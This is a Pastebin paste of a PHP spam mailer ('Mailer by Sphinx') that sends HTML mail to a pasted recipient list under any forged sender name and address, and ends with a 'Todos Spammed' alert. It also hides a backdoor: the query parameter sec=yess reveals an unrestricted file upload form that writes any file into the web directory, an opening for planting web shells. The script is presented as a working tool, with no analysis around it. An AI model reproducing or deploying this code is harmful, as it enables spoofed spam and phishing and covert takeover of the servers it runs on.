Guest User

Untitled

a guest
Jul 6th, 2012
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.24 KB | None | 0 0
  1. <?php
  2. if(isset($_POST['Enoc']))
  3. {
  4. $auto = $_POST['Enoc'];
  5. $message = $_POST['html'];
  6. $subject = $_POST['assunto'];
  7. $de = $_POST['de'];
  8. $nombre = $_POST['RealName'];
  9. $ellos = $_POST['ellos'];
  10.  
  11. $message = urlencode($message);
  12. $message = ereg_replace("%5C%22", "%22", $message);
  13. $message = urldecode($message);
  14. $message = stripslashes($message);
  15.  
  16. }else{
  17. $testa ="";
  18. $message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
  19. $subject = $_SERVER["HTTP_HOST"];
  20. $nombre = "Moe Greene";
  21. $ellos = "[email protected]";
  22. }
  23. ?>
  24. <html>
  25. <head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us">
  26. <title> Mailer by Sphinx</title></head>
  27. <body style="font-family: Arial; font-size: 11px">
  28. <form action="" method="post" enctype="multipart/form-data" name="form1">
  29. <div align="center">
  30. <table width="919" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal">
  31. <tr>
  32. <td height="194" valign="top" bgcolor="#FFFFFF" width="917">
  33. <table width="100%" border="0" cellpadding="0" cellspacing="5" class="normal" height="277">
  34. <tr>
  35. <td width="8%" align="left" height="25">
  36. <table border="0" width="100%" id="table1">
  37. <tr>
  38. <td width="316">Email: <input name="de" type="text" class="form" id="de" size="30" value="<? print $de; ?>"></td>
  39. <td>Nombre: <input name="RealName" type="text" class="form" id="RealName" size="30" value="<? print $nombre; ?>"></td>
  40. </tr>
  41. </table>
  42. </td>
  43. </tr>
  44. <tr>
  45. <td align="left" height="25">Asunto: <input name="assunto" type="text" class="form" id="assunto" size="78" value="<? print $subject; ?>"></td>
  46. </tr>
  47. <tr align="center" bgcolor="#FFAEAE">
  48. <td height="18" bgcolor="#C0C0C0"></td>
  49. </tr>
  50. <tr>
  51. <td height="65" align="right" valign="top">
  52. <p align="left">
  53. <textarea name="html" cols="66" rows="10" id="html"><? print $message; ?></textarea> <textarea rows="10" name="ellos" cols="35"><? print $ellos; ?></textarea></p>
  54. </td>
  55. </tr>
  56. <tr>
  57. <td height="54" valign="top">
  58. <p align="center"><br>
  59. <input type="submit" name="Enoc" value="Enviar"></td>
  60. </tr>
  61. </table>
  62. <?php
  63. if($auto){
  64. if(!isset($_GET['c']))
  65. {
  66. $email = explode("\n", $ellos);
  67. }else{
  68. $email = explode(",", $ellos);
  69. }
  70. $son = count($email);
  71.  
  72. if(!isset($_GET['e'])){
  73. $header = "MIME-Version: 1.0\n";
  74. $header .= "Content-type: text/html; charset=iso-8859-1\n";
  75. $header .= "From: ".$nombre . " <" . $de . ">\n";
  76. $header .= "Reply-To: " . $de . "\n";
  77. $header .= "X-Priority: 3\n";
  78. $header .= "X-MSMail-Priority: Normal\n";
  79. $header .= "X-Mailer: ".$_SERVER["HTTP_HOST"];
  80. }else{
  81. $header ='MIME-Version: 1.0' . "\r\n";
  82. $header .= 'Content-type: text/html' . "\r\n";
  83. $header .="From: ".$de;
  84. }
  85. $i = 0;
  86. $voy = 1;
  87. while($email[$i]) {
  88. $mail = $email[$i];
  89. if(mail($mail, $subject, $message, $header)) {
  90. print "<font color=blue face=verdana size=1> $voy de $son
  91. ;-) $mail
  92. okey dokey!</font><br>";
  93. flush();
  94. } else {
  95. print "<font color=red face=verdana size=1> $voy de $son
  96. :-( $mail
  97. Error te digo altoquesein!!</font><br>";
  98. flush();
  99. }
  100. $i++;
  101. $voy++;
  102. }
  103. echo "<script> alert('---Todos Spammed---'); </script>";
  104. }
  105. if($_GET['sec']=='yess'){
  106. echo '<form action="" method="post" enctype="multipart/form-data">
  107. <input name="archivo" type="file" size="35" />
  108. <input name="enviar" type="submit" value="Upload File" />
  109. <input name="action" type="hidden" value="upload" />
  110. </form>';
  111.  
  112. if ($_POST["action"] == "upload") {
  113. $tamano = $_FILES["archivo"]['size'];
  114. $tipo = $_FILES["archivo"]['type'];
  115. $archivo = $_FILES["archivo"]['name'];
  116.  
  117. if ($archivo != "") {
  118. if (copy($_FILES['archivo']['tmp_name'],"./".$archivo)) {
  119. $status = "Archivo subido: <b>".$archivo."</b>";
  120. } else {
  121. $status = "Error al subir el archivo";
  122. }
  123. } else {
  124. $status = "Error al subir archivo";
  125. }
  126. echo $status;
  127. }
  128. }
  129. ?>
  130. </td>
  131. </tr>
  132. </table>
  133. </div>
  134. </body>
  135. </form>
Advertisement
Add Comment
Please, Sign In to add comment